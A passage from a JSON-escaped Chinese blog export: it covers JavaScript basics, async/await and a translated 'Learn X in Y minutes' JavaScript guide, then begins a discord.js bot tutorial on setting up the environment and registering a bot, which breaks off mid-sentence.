定义一个数组:\u003c/p\u003e\n\u003cp\u003e[40, 100, 1, 5, 25, 10]\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e对象(Object)字面量\u003c/strong\u003e 定义一个对象:\u003c/p\u003e\n\u003cp\u003e{firstName:\"John\", lastName:\"Doe\", age:50, eyeColor:\"blue\"}\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e函数(Function)字面量\u003c/strong\u003e 定义一个函数:\u003c/p\u003e\n\u003cp\u003efunction myFunction(a, b) { return a * b;}\u003c/p\u003e\n\u003cp\u003eJavaScript 使用关键字 \u003cstrong\u003evar\u003c/strong\u003e 来定义变量, 使用等号来为变量赋值:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar x, length \nx = 5 \nlength = 6\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 语句用于向浏览器发出命令。\u003c/p\u003e\n\u003cp\u003e语句是用分号分隔:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ex = 5 + 6; \ny = x * 10;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e双斜杠 \u003cstrong\u003e//\u003c/strong\u003e 后的内容将会被忽略。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e/*\u003c/code\u003e 和 \u003ccode\u003e*/\u003c/code\u003e 所包裹起来的代码块会被忽略。\u003c/p\u003e\n\u003cp\u003eJavaScript 语句可以写在函数内,函数可以重复引用:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e引用一个函数\u003c/strong\u003e = 调用函数(执行函数内的语句)。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efunction myFunction(a, b) { \n    return a * b;                                // 返回 a 乘以 b 的结果 \n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 中,常见的是驼峰法的命名规则,如 lastName (而不是lastname)。\u003c/p\u003e\n\u003cp\u003eJavaScript 语句通常以一个 \u003cstrong\u003e语句标识符\u003c/strong\u003e 为开始,并执行该语句。\u003c/p\u003e\n\u003cp\u003e语句标识符是保留关键字不能作为变量名使用。\u003c/p\u003e\n\u003cp\u003e下面列出了 JavaScript 语句标识符 (关键字) :\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebreak:用于跳出循环。\u003c/li\u003e\n\u003cli\u003ecatch:语句块,在 try 语句块执行出错时执行 catch 语句块。\u003c/li\u003e\n\u003cli\u003econtinue:跳过循环中的一个迭代。\u003c/li\u003e\n\u003cli\u003edo ... while:执行一个语句块,在条件语句为 true 时继续执行该语句块。\u003c/li\u003e\n\u003cli\u003efor:在条件语句为 true 时,可以将代码块执行指定的次数。\u003c/li\u003e\n\u003cli\u003efor ... in:用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)。\u003c/li\u003e\n\u003cli\u003efunction:定义一个函数\u003c/li\u003e\n\u003cli\u003eif ... else:用于基于不同的条件来执行不同的动作。\u003c/li\u003e\n\u003cli\u003ereturn:退出函数\u003c/li\u003e\n\u003cli\u003eswitch:用于基于不同的条件来执行不同的动作。\u003c/li\u003e\n\u003cli\u003ethrow:抛出(生成)错误 。\u003c/li\u003e\n\u003cli\u003etry:实现错误处理,与 catch 一同使用。\u003c/li\u003e\n\u003cli\u003evar:声明一个变量。\u003c/li\u003e\n\u003cli\u003ewhile:当条件语句为 true 时,执行语句块。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJavaScript 拥有动态类型。这意味着相同的变量可用作不同的类型:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar x;               // x 为 undefined \nvar x = 5;           // 现在 x 为数字 \nvar x = \"John\";      // 现在 x 为字符串\n\ntypeof \"John\"                // 返回 string \ntypeof 3.14                  // 返回 number \ntypeof false                 // 返回 boolean \ntypeof [1,2,3,4]             // 返回 object \ntypeof {name:'John', age:34} // 返回 object\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eJavaScript 对象由花括号分隔。在括号内部,对象的属性以名称和值对的形式 (name : value) 来定义。属性由逗号分隔:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar person = {\n firstname:\"John\",\n lastname:\"Doe\",\n id:5566\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e上面例子中的对象 (person) 有三个属性:firstname、lastname 以及 id。\u003c/p\u003e\n\u003cp\u003e空格和折行无关紧要。声明可横跨多行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar person={ \nfirstname : \"John\", \nlastname  : \"Doe\", \nid        :  5566 \n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e对象属性有两种寻址方式:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ename=person.lastname; \nname=person[\"lastname\"];\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e下面的代码创建名为 cars 的数组:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar cars=new Array(); \ncars[0]=\"Saab\"; \ncars[1]=\"Volvo\"; \ncars[2]=\"BMW\";\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e或者 (condensed array):\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar cars=new Array(\"Saab\",\"Volvo\",\"BMW\");\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eundefined 这个值表示变量不含有值。\u003c/p\u003e\n\u003cp\u003e可以通过将变量的值设置为 null 来清空变量。\u003c/p\u003e\n\u003cp\u003e比较运算符在逻辑语句中使用,以测定变量或值是否相等。\u003c/p\u003e\n\u003cp\u003e假设 \u003cstrong\u003ex 等于 5\u003c/strong\u003e:\u003c/p\u003e\n\u003cp\u003ex == 8:\u003cem\u003efalse\u003c/em\u003e;\nx == 5: \u003cem\u003etrue\u003c/em\u003e;\nx == \"5\" :\u003cem\u003etrue\u003c/em\u003e;\nx === \"5\":\u003cem\u003efalse\u003c/em\u003e;\nx === 5:\u003cem\u003etrue\u003c/em\u003e;\nx != 8:\u003cem\u003etrue\u003c/em\u003e;\nx != \"5\":\u003cem\u003efalse\u003c/em\u003e;\nx !== 5:\u003cem\u003efalse\u003c/em\u003e;\nx !== \"5\":\u003cem\u003etrue\u003c/em\u003e;\nx \u0026gt; 8:\u003cem\u003efalse\u003c/em\u003e;\nx \u0026lt; 8:\u003cem\u003etrue\u003c/em\u003e;\nx \u0026gt;= 8:\u003cem\u003efalse\u003c/em\u003e;\nx \u0026lt;= 8:\u003cem\u003etrue\u003c/em\u003e;\nx == undefined:\u003cem\u003efalse\u003c/em\u003e;\nx == null:\u003cem\u003efalse\u003c/em\u003e;\u003c/p\u003e\n\u003cp\u003e假设 y 等于 undefined:\u003c/p\u003e\n\u003cp\u003ey == undefined:\u003cem\u003etrue\u003c/em\u003e\ny == null:\u003cem\u003etrue\u003c/em\u003e\ny === null:\u003cem\u003efalse\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e假设 z 等于 null:\u003c/p\u003e\n\u003cp\u003ez == null:\u003cem\u003etrue\u003c/em\u003e\nz == undefined:\u003cem\u003etrue\u003c/em\u003e\nz === undefined:\u003cem\u003efalse\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e逻辑与:\u0026amp;\u0026amp;\n逻辑或:||\n逻辑非:!\u003c/p\u003e\n\u003ch3\u003easync 和 await\u003c/h3\u003e\n\u003cp\u003e下面的内容来自 CSDN 用户 loftyamb,原文链接 https://blog.csdn.net/weixin_42042017/article/details/109472908 ,感谢。\u003c/p\u003e\n\u003cp\u003e希望在一个函数执行完毕之后才去执行另外一个函数,如何解决?用 async 和 await。\u003c/p\u003e\n\u003cp\u003eawait 只能在async函数中执行,否则会报错。\u003c/p\u003e\n\u003ch3\u003e关于await\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eawait\u003c/code\u003e 的意思就是\u003cstrong\u003e等待\u003c/strong\u003e。它后面可以跟一个表达式。如果是值(如字符串、数字、普通对象等等)的话,返回值就是本身的值。\u003c/li\u003e\n\u003cli\u003e通常使用方式为在后面跟一个 \u003ccode\u003epromise\u003c/code\u003e 对象。\u003ccode\u003eawait\u003c/code\u003e 会等待这个 \u003ccode\u003epromise\u003c/code\u003e 的状态由 \u003ccode\u003epending\u003c/code\u003e 转为 \u003ccode\u003efulfilled\u003c/code\u003e 或者 \u003ccode\u003erejected\u003c/code\u003e。在此期间它会阻塞,延迟执行await语句后面的语句。\u003c/li\u003e\n\u003cli\u003e如果 \u003ccode\u003epromise\u003c/code\u003e 对象的结果是 \u003ccode\u003eresolve\u003c/code\u003e,它会将 \u003ccode\u003eresolve\u003c/code\u003e 的值,作为 \u003ccode\u003eawait\u003c/code\u003e 表达式的运算结果。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003e例子\u003c/h4\u003e\n\u003cp\u003e对于一个操作(创建菜单),需要在获取到 token 之后利用 token 才能执行这个操作,那么对应代码如下:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003evar token = undefined;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取token\nconst getToken = async () =\u0026gt; {\n global.token=await new Promise((resolve) =\u0026gt; {\n setTimeout(() =\u0026gt; {\n resolve(\"loftyamb\");\n }, 3000); // 模拟通过 post 请求获取 token 返回token的过程\n });\n console.log(`成功获取到了token${global.token}`);\n // 上面的打印语句会被promise对象所阻塞,直到promise对象的状态发送改变\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode\u003e// 利用获取到的token,进行创建菜单的操作\nconst createMenu = async () =\u0026gt; {\n if (token !== undefined) {\n console.log(`利用token${token}成功创建了菜单`);\n } else {\n console.log(\"创建失败\");\n }\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e那么可用以下方式实现二者的依次执行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst setMenu=async ()=\u0026gt;{\n await getToken();\n await createMenu();\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e执行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003econst setMenu=async ()=\u0026gt;{\n await getToken();\n await createMenu(); //该方法会等待前面的方法执行完毕之后才执行\n}\nsetMenu();\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e输出结果:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e成功获取到了tokenloftyamb\n利用tokenloftyamb成功创建了菜单\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003e关于异常\u003c/h3\u003e\n\u003cp\u003e假定在获取 token 的时候发生了异常,即 Promise 对象状态为 reject,此时要在 async 函数中对异常进行处理,如下所示:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// 获取token\nconst getToken = async () =\u0026gt; {\n try {\n token = await new Promise((resolve, reject) =\u0026gt; {\n setTimeout(() =\u0026gt; {\n reject(\"error\");\n }, 3000); // 模拟过了 3 秒才获取 token 失败\n });\n } catch (err) {\n console.log(err);\n }\n console.log(`成功获取到了token${token}`); // 异常被捕获后则此语句仍能正常执行\n};\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e当异常被处理之后,则await之后的函数仍然会正常执行。\u003c/p\u003e\n\u003ch2\u003eLearn Javascript in Y minutes\u003c/h2\u003e\n\u003cp\u003e原文地址:https://learnxinyminutes.com/docs/zh-cn/javascript-cn\u003c/p\u003e\n\u003cp\u003e该内容遵循 CC BY-SA 3.0\u003c/p\u003e\n\u003cp\u003eJavascript 于 1995 年由网景公司的 Brendan Eich 发明。最初它作为一种简单的,用于开发网站的脚本语言而被发明出来,是用于开发复杂网站的 Java 的补充。但由于它与网页结合度很高并且在浏览器中得到内置的支持,所以在网页前端领域 Javascript 变得比 Java 更流行了。\u003c/p\u003e\n\u003cp\u003e不过,Javascript 不仅用于网页浏览器,一个名为 Node.js 的项目提供了面向 Google Chrome V8 引擎的独立运行时环境,它正在变得越来越流行。\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// 注释方式和C很像,这是单行注释\n/* 这是多行\n 注释 */\n\n// 语句可以以分号结束\ndoStuff();\n\n// ... 但是分号也可以省略,每当遇到一个新行时,分号会自动插入(除了一些特殊情况)。\ndoStuff()\n\n// 因为这些特殊情况会导致意外的结果,所以我们在这里保留分号。\n\n///////////////////////////////////\n// 1. 数字、字符串与操作符\n\n// Javascript 只有一种数字类型(即 64位 IEEE 754 双精度浮点 double)。\n// double 有 52 位表示尾数,足以精确存储大到 9✕10¹⁵ 的整数。\n3; // = 3\n1.5; // = 1.5\n\n// 所有基本的算数运算都如你预期。\n1 + 1; // = 2\n0.1 + 0.2; // = 0.30000000000000004\n8 - 1; // = 7\n10 * 2; // = 20\n35 / 5; // = 7\n\n// 包括无法整除的除法。\n5 / 2; // = 2.5\n\n// 位运算也和其他语言一样;当你对浮点数进行位运算时,\n// 浮点数会转换为*至多* 32 位的无符号整数。\n1 \u0026lt;\u0026lt; 2; // = 4\n\n// 括号可以决定优先级。\n(1 + 3) * 2; // = 8\n\n// 有三种非数字的数字类型\nInfinity; // 1/0 的结果\n-Infinity; // -1/0 的结果\nNaN; // 0/0 的结果\n\n// 也有布尔值。\ntrue;\nfalse;\n\n// 可以通过单引号或双引号来构造字符串。\n'abc';\n\"Hello, world\";\n\n// 用!来取非\n!true; // = false\n!false; // = true\n\n// 相等 ===\n1 === 1; // = true\n2 === 1; // = false\n\n// 不等 !=\n1 !== 1; // = false\n2 !== 1; // = true\n\n// 更多的比较操作符 \n1 \u0026lt; 10; // = true\n1 \u0026gt; 10; // = false\n2 \u0026lt;= 2; // = true\n2 \u0026gt;= 2; // = true\n\n// 字符串用+连接\n\"Hello \" + \"world!\"; // = \"Hello world!\"\n\n// 字符串也可以用 \u0026lt; 、\u0026gt; 来比较\n\"a\" \u0026lt; \"b\"; // = true\n\n// 使用“==”比较时会进行类型转换...\n\"5\" == 5; // = true\nnull == undefined; // = true\n\n// ...除非你是用 ===\n\"5\" === 5; // = false\nnull === undefined; // = false \n\n// ...但会导致奇怪的行为\n13 + !0; // 14\n\"13\" + !0; // '13true'\n\n// 你可以用`charAt`来得到字符串中的字符\n\"This is a string\".charAt(0); // = 'T'\n\n// ...或使用 `substring` 来获取更大的部分。\n\"Hello world\".substring(0, 5); // = \"Hello\"\n\n// `length` 是一个属性,所以不要使用 ().\n\"Hello\".length; // = 5\n\n// 还有两个特殊的值:`null`和`undefined`\nnull; // 用来表示刻意设置的空值\nundefined; // 用来表示还没有设置的值(尽管`undefined`自身实际是一个值)\n\n// false, null, undefined, NaN, 0 和 \"\" 都是假的;其他的都视作逻辑真\n// 注意 0 是逻辑假而 \"0\"是逻辑真,尽管 0 == \"0\"。\n\n///////////////////////////////////\n// 2. 变量、数组和对象\n\n// 变量需要用`var`关键字声明。Javascript是动态类型语言,\n// 所以你无需指定类型。 赋值需要用 `=` \nvar someVar = 5;\n\n// 如果你在声明时没有加var关键字,你也不会得到错误...\nsomeOtherVar = 10;\n\n// ...但是此时这个变量就会在全局作用域被创建,而非你定义的当前作用域\n\n// 没有被赋值的变量都会被设置为undefined\nvar someThirdVar; // = undefined\n\n// 对变量进行数学运算有一些简写法:\nsomeVar += 5; // 等价于 someVar = someVar + 5; someVar 现在是 10 \nsomeVar *= 10; // 现在 someVar 是 100\n\n// 自增和自减也有简写\nsomeVar++; // someVar 是 101\nsomeVar--; // 回到 100\n\n// 数组是任意类型组成的有序列表\nvar myArray = [\"Hello\", 45, true];\n\n// 数组的元素可以用方括号下标来访问。\n// 数组的索引从0开始。\nmyArray[1]; // = 45\n\n// 数组是可变的,并拥有变量 length。\nmyArray.push(\"World\");\nmyArray.length; // = 4\n\n// 在指定下标添加/修改\nmyArray[3] = \"Hello\";\n\n// javascript中的对象相当于其他语言中的“字典”或“映射”:是键-值对的无序集合。\nvar myObj = {key1: \"Hello\", key2: \"World\"};\n\n// 键是字符串,但如果键本身是合法的js标识符,则引号并非是必须的。\n// 值可以是任意类型。\nvar myObj = {myKey: \"myValue\", \"my other key\": 4};\n\n// 对象属性的访问可以通过下标\nmyObj[\"my other key\"]; // = 4\n\n// ... 或者也可以用 . ,如果属性是合法的标识符\nmyObj.myKey; // = \"myValue\"\n\n// 对象是可变的;值也可以被更改或增加新的键\nmyObj.myThirdKey = true;\n\n// 如果你想要获取一个还没有被定义的值,那么会返回undefined\nmyObj.myFourthKey; // = undefined\n\n///////////////////////////////////\n// 3. 逻辑与控制结构\n\n// 本节介绍的语法与Java的语法几乎完全相同\n\n// `if`语句和其他语言中一样。\nvar count = 1;\nif (count == 3){\n // count 是 3 时执行\n} else if (count == 4){\n // count 是 4 时执行\n} else {\n // 其他情况下执行 \n}\n\n// while循环\nwhile (true) {\n // 无限循环\n}\n\n// Do-while 和 While 循环很像 ,但前者会至少执行一次\nvar input;\ndo {\n input = getInput();\n} while (!isValid(input))\n\n// `for`循环和C、Java中的一样:\n// 初始化; 继续执行的条件; 迭代。\nfor (var i = 0; i \u0026lt; 5; i++){\n // 遍历5次\n}\n\n// \u0026amp;\u0026amp; 是逻辑与, || 是逻辑或\nif (house.size == \"big\" \u0026amp;\u0026amp; house.colour == \"blue\"){\n house.contains = \"bear\";\n}\nif (colour == \"red\" || colour == \"blue\"){\n // colour是red或者blue时执行\n}\n\n// \u0026amp;\u0026amp; 和 || 是“短路”语句,它在设定初始化值时特别有用 \nvar name = otherName || \"default\";\n\n// `switch`语句使用`===`检查相等性。\n// 在每一个case结束时使用 'break'\n// 否则其后的case语句也将被执行。 \ngrade = 'B';\nswitch (grade) {\n case 'A':\n console.log(\"Great job\");\n break;\n case 'B':\n console.log(\"OK job\");\n break;\n case 'C':\n console.log(\"You can do better\");\n break;\n default:\n console.log(\"Oy vey\");\n break;\n}\n\n///////////////////////////////////\n// 4. 函数、作用域、闭包\n\n// JavaScript 函数由`function`关键字定义\nfunction myFunction(thing){\n return thing.toUpperCase();\n}\nmyFunction(\"foo\"); // = \"FOO\"\n\n// 注意被返回的值必须开始于`return`关键字的那一行,\n// 否则由于自动的分号补齐,你将返回`undefined`。\n// 在使用Allman风格的时候要注意.\nfunction myFunction()\n{\n return // \u0026lt;- 分号自动插在这里\n {\n thisIsAn: 'object literal'\n }\n}\nmyFunction(); // = undefined\n\n// javascript中函数是一等对象,所以函数也能够赋给一个变量,\n// 并且被作为参数传递 —— 比如一个事件处理函数:\nfunction myFunction(){\n // 这段代码将在5秒钟后被调用\n}\nsetTimeout(myFunction, 5000);\n// 注意:setTimeout不是js语言的一部分,而是由浏览器和Node.js提供的。\n\n// 函数对象甚至不需要声明名称 —— 你可以直接把一个函数定义写到另一个函数的参数中\nsetTimeout(function(){\n // 这段代码将在5秒钟后被调用\n}, 5000);\n\n// JavaScript 有函数作用域;函数有其自己的作用域而其他的代码块则没有。\nif (true){\n var i = 5;\n}\ni; // = 5 - 并非我们在其他语言中所期望得到的undefined\n\n// 这就导致了人们经常使用的“立即执行匿名函数”的模式,\n// 这样可以避免一些临时变量扩散到全局作用域去。\n(function(){\n var temporary = 5;\n // 我们可以访问修改全局对象(\"global object\")来访问全局作用域,\n // 在web浏览器中是`window`这个对象。 \n // 在其他环境如Node.js中这个对象的名字可能会不同。\n window.permanent = 10;\n})();\ntemporary; // 抛出引用异常ReferenceError\npermanent; // = 10\n\n// javascript最强大的功能之一就是闭包。\n// 如果一个函数在另一个函数中定义,那么这个内部函数就拥有外部函数的所有变量的访问权,\n// 即使在外部函数结束之后。\nfunction sayHelloInFiveSeconds(name){\n var prompt = \"Hello, \" + name + \"!\";\n // 内部函数默认是放在局部作用域的,\n // 就像是用`var`声明的。\n function inner(){\n alert(prompt);\n }\n setTimeout(inner, 5000);\n // setTimeout是异步的,所以 sayHelloInFiveSeconds 函数会立即退出,\n // 而 setTimeout 会在后面调用inner\n // 然而,由于inner是由sayHelloInFiveSeconds“闭合包含”的,\n // 所以inner在其最终被调用时仍然能够访问`prompt`变量。\n}\nsayHelloInFiveSeconds(\"Adam\"); // 会在5秒后弹出 \"Hello, Adam!\"\n\n///////////////////////////////////\n// 5. 对象、构造函数与原型\n\n// 对象可以包含方法。\nvar myObj = {\n myFunc: function(){\n return \"Hello world!\";\n }\n};\nmyObj.myFunc(); // = \"Hello world!\"\n\n// 当对象中的函数被调用时,这个函数可以通过`this`关键字访问其依附的这个对象。\nmyObj = {\n myString: \"Hello world!\",\n myFunc: function(){\n return this.myString;\n }\n};\nmyObj.myFunc(); // = \"Hello world!\"\n\n// 但这个函数访问的其实是其运行时环境,而非定义时环境,即取决于函数是如何调用的。\n// 所以如果函数被调用时不在这个对象的上下文中,就不会运行成功了。\nvar myFunc = myObj.myFunc;\nmyFunc(); // = undefined\n\n// 相应的,一个函数也可以被指定为一个对象的方法,并且可以通过`this`访问\n// 这个对象的成员,即使在函数被定义时并没有依附在对象上。\nvar myOtherFunc = function(){\n return this.myString.toUpperCase();\n}\nmyObj.myOtherFunc = myOtherFunc;\nmyObj.myOtherFunc(); // = \"HELLO WORLD!\"\n\n// 当我们通过`call`或者`apply`调用函数的时候,也可以为其指定一个执行上下文。\nvar anotherFunc = function(s){\n return this.myString + s;\n}\nanotherFunc.call(myObj, \" And Hello Moon!\"); // = \"Hello World! And Hello Moon!\"\n\n// `apply`函数几乎完全一样,只是要求一个array来传递参数列表。\nanotherFunc.apply(myObj, [\" And Hello Sun!\"]); // = \"Hello World! And Hello Sun!\"\n\n// 当一个函数接受一系列参数,而你想传入一个array时特别有用。\nMath.min(42, 6, 27); // = 6\nMath.min([42, 6, 27]); // = NaN (uh-oh!)\nMath.min.apply(Math, [42, 6, 27]); // = 6\n\n// 但是`call`和`apply`只是临时的。如果我们希望函数附着在对象上,可以使用`bind`。\nvar boundFunc = anotherFunc.bind(myObj);\nboundFunc(\" And Hello Saturn!\"); // = \"Hello World! And Hello Saturn!\"\n\n// `bind` 也可以用来部分应用一个函数(柯里化)。\nvar product = function(a, b){ return a * b; }\nvar doubler = product.bind(this, 2);\ndoubler(8); // = 16\n\n// 当你通过`new`关键字调用一个函数时,就会创建一个对象,\n// 而且可以通过this关键字访问该函数。\n// 设计为这样调用的函数就叫做构造函数。\nvar MyConstructor = function(){\n this.myNumber = 5;\n}\nmyNewObj = new MyConstructor(); // = {myNumber: 5}\nmyNewObj.myNumber; // = 5\n\n// 每一个js对象都有一个‘原型’。当你要访问一个实际对象中没有定义的一个属性时,\n// 解释器就回去找这个对象的原型。\n\n// 一些JS实现会让你通过`__proto__`属性访问一个对象的原型。\n// 这虽然对理解原型很有用,但是它并不是标准的一部分;\n// 我们后面会介绍使用原型的标准方式。\nvar myObj = {\n myString: \"Hello world!\"\n};\nvar myPrototype = {\n meaningOfLife: 42,\n myFunc: function(){\n return this.myString.toLowerCase()\n }\n};\n\nmyObj.__proto__ = myPrototype;\nmyObj.meaningOfLife; // = 42\n\n// 函数也可以工作。\nmyObj.myFunc() // = \"hello world!\"\n\n// 当然,如果你要访问的成员在原型当中也没有定义的话,解释器就会去找原型的原型,以此类推。\nmyPrototype.__proto__ = {\n myBoolean: true\n};\nmyObj.myBoolean; // = true\n\n// 这其中并没有对象的拷贝;每个对象实际上是持有原型对象的引用。\n// 这意味着当我们改变对象的原型时,会影响到其他以这个原型为原型的对象。\nmyPrototype.meaningOfLife = 43;\nmyObj.meaningOfLife; // = 43\n\n// 我们知道 `__proto__` 并非标准规定,实际上也没有标准办法来修改一个已存在对象的原型。\n// 然而,我们有两种方式为指定原型创建一个新的对象。\n\n// 第一种方式是 Object.create,这个方法是在最近才被添加到Js中的,\n// 因此并不是所有的JS实现都有这个方法\nvar myObj = Object.create(myPrototype);\nmyObj.meaningOfLife; // = 43\n\n// 第二种方式可以在任意版本中使用,不过必须通过构造函数。\n// 构造函数有一个属性prototype。但是它 *不是* 构造函数本身的原型;相反,\n// 是通过构造函数和new关键字创建的新对象的原型。\nMyConstructor.prototype = {\n myNumber: 5,\n getMyNumber: function(){\n return this.myNumber;\n }\n};\nvar myNewObj2 = new MyConstructor();\nmyNewObj2.getMyNumber(); // = 5\nmyNewObj2.myNumber = 6\nmyNewObj2.getMyNumber(); // = 6\n\n// 字符串和数字等内置类型也有通过构造函数来创建的包装类型\nvar myNumber = 12;\nvar myNumberObj = new Number(12);\nmyNumber == myNumberObj; // = true\n\n// 但是它们并非严格等价\ntypeof myNumber; // = 'number'\ntypeof myNumberObj; // = 'object'\nmyNumber === myNumberObj; // = false\nif (0){\n // 这段代码不会执行,因为0代表假\n}\n\n// 不过,包装类型和内置类型共享一个原型,\n// 所以你实际可以给内置类型也增加一些功能,例如对string:\nString.prototype.firstCharacter = function(){\n return this.charAt(0);\n}\n\"abc\".firstCharacter(); // = \"a\"\n\n// 这个技巧经常用在“代码填充”中,来为老版本的javascript子集增加新版本js的特性,\n// 这样就可以在老的浏览器中使用新功能了。\n\n// 比如,我们知道Object.create并没有在所有的版本中都实现,\n// 但是我们仍然可以通过“代码填充”来实现兼容:\nif (Object.create === undefined){ // 如果存在则不覆盖\n Object.create = function(proto){\n // 用正确的原型来创建一个临时构造函数\n var Constructor = function(){};\n Constructor.prototype = proto;\n // 之后用它来创建一个新的对象\n return new Constructor();\n }\n}\n\u003c/code\u003e\u003c/pre\u003e\u003chr /\u003e","url":"https://hhzm.win/posts/bot-in-discord-2/"},{"title":"Bot in Discord with discord.js (1)","time":"2022-07-08T00:00:00Z","content":"\u003ch2\u003e前言\u003c/h2\u003e\n\u003cp\u003e利用 discord.js 建立一个 Discord 机器人。\u003c/p\u003e\n\u003cp\u003e我也是第一次上手,利用博客来记录我的学习过程,定期整理后再发到公众号。\u003c/p\u003e\n\u003cp\u003e在简单对比了 discord.js (JavaScript),discordgo (Go),discord.py (Python),Discord4J (Java),JDA (Java) 和 D++ (C++) 等项目后,我选择了 \u003ca href=\"https://discord.js.org/#/\"\u003ediscord.js\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e为什么选择了discord.js 来构建一个 Discord 机器人呢?因为它:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e面向对象\u003c/li\u003e\n\u003cli\u003e快速高效\u003c/li\u003e\n\u003cli\u003e功能丰富\u003c/li\u003e\n\u003cli\u003e灵活\u003c/li\u003e\n\u003cli\u003e100% 基于 Promise\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e又根据 Atwood 定律:任何可以使用 JavaScript 来编写的应用,并最终也会由 JavaScript 编写。所以,没得办法。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e免责声明:先说好,不要将本教程的代码用于生产环境,因为它们通常有着已知或未知的漏洞。任何代码在上线之前,都应该经过充分的代码审查。本教程只是为了说明基本原理并自娱自乐。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e下面,咱们开始吧。\u003c/p\u003e\n\u003ch2\u003eChapter 1 - 环境搭建\u003c/h2\u003e\n\u003ch3\u003e环境\u003c/h3\u003e\n\u003cp\u003e你需要自行下载安装 node.js。\u003c/p\u003e\n\u003cp\u003e包管理器 npm,yarn,pnpm 有一个就行了。本文使用 npm。\u003c/p\u003e\n\u003ch4\u003e本文编写时,我的本地开发环境\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eWindows 10 21H2 19044\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://nodejs.org/\"\u003eNode.js 16.16.0 LTS\u003c/a\u003e ,版本需要至少 16.9.0\u003c/li\u003e\n\u003cli\u003e包管理器:npm 8.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://classic.yarnpkg.com/lang/en/docs/install\"\u003e包管理器:Yarn 1.22.19\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://pnpm.io/installation\"\u003e包管理器:pnpm 7.5.0\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.jetbrains.com/webstorm\"\u003eIDE: Jetbrains Webstorm 2022.1.3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.sublimetext.com/\"\u003e编辑器:Sublime Text v4126\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e操作系统可以选择 Linux 发行版、FreeBSD 或 Mac OS,Windows 不是必须的选择,但操作系统你得有。\u003c/p\u003e\n\u003cp\u003eIDE 也不是必须的,用 VS Code, Sublime Text, Vim, nano 或者记事本都可以。\u003c/p\u003e\n\u003cp\u003eNode.js 是必须安装的。\u003c/p\u003e\n\u003ch4\u003e本文编写时,我的云端环境\u003c/h4\u003e\n\u003cp\u003e云端环境是用来在我的笔记本关机时,让机器人保持继续运行的环境。\u003c/p\u003e\n\u003cp\u003e云端环境不是必须的,如果你有的话,要保证它能连上 Discord 服务器(可以通过 ping www.discord.com 和 cdn.discordapp.com 来初步验证一下连通性)。\u003c/p\u003e\n\u003ch3\u003e从 Discord Developer Portal 注册机器人账号\u003c/h3\u003e\n\u003cp\u003e打开链接 https://discord.com/developers/applications ,登录你的 Discord 账号,选择 \u003ccode\u003eNew Application\u003c/code\u003e 来创建新应用程序。\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003eNAME\u003c/code\u003e 一栏填写你的应用名称,这个名称将会是机器人的外显账号名称,后期可修改。\u003c/p\u003e\n\u003cp\u003e按下 \u003ccode\u003eCreate\u003c/code\u003e 以完成创建。\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://img2022.cnblogs.com/blog/2455224/202210/2455224-20221005223049452-1249073988.png\" alt=\"image\" /\u003e\u003c/p\u003e\n\u003cp\u003e点开新创建的应用,点击左侧菜单栏的 \u003ccode\u003eGeneral Information\u003c/code\u003e,记下 \u003ccode\u003eAPPLICATION ID\u003c/code\u003e,这就是通常所说的机器人的 \"client_id\",这个 ID 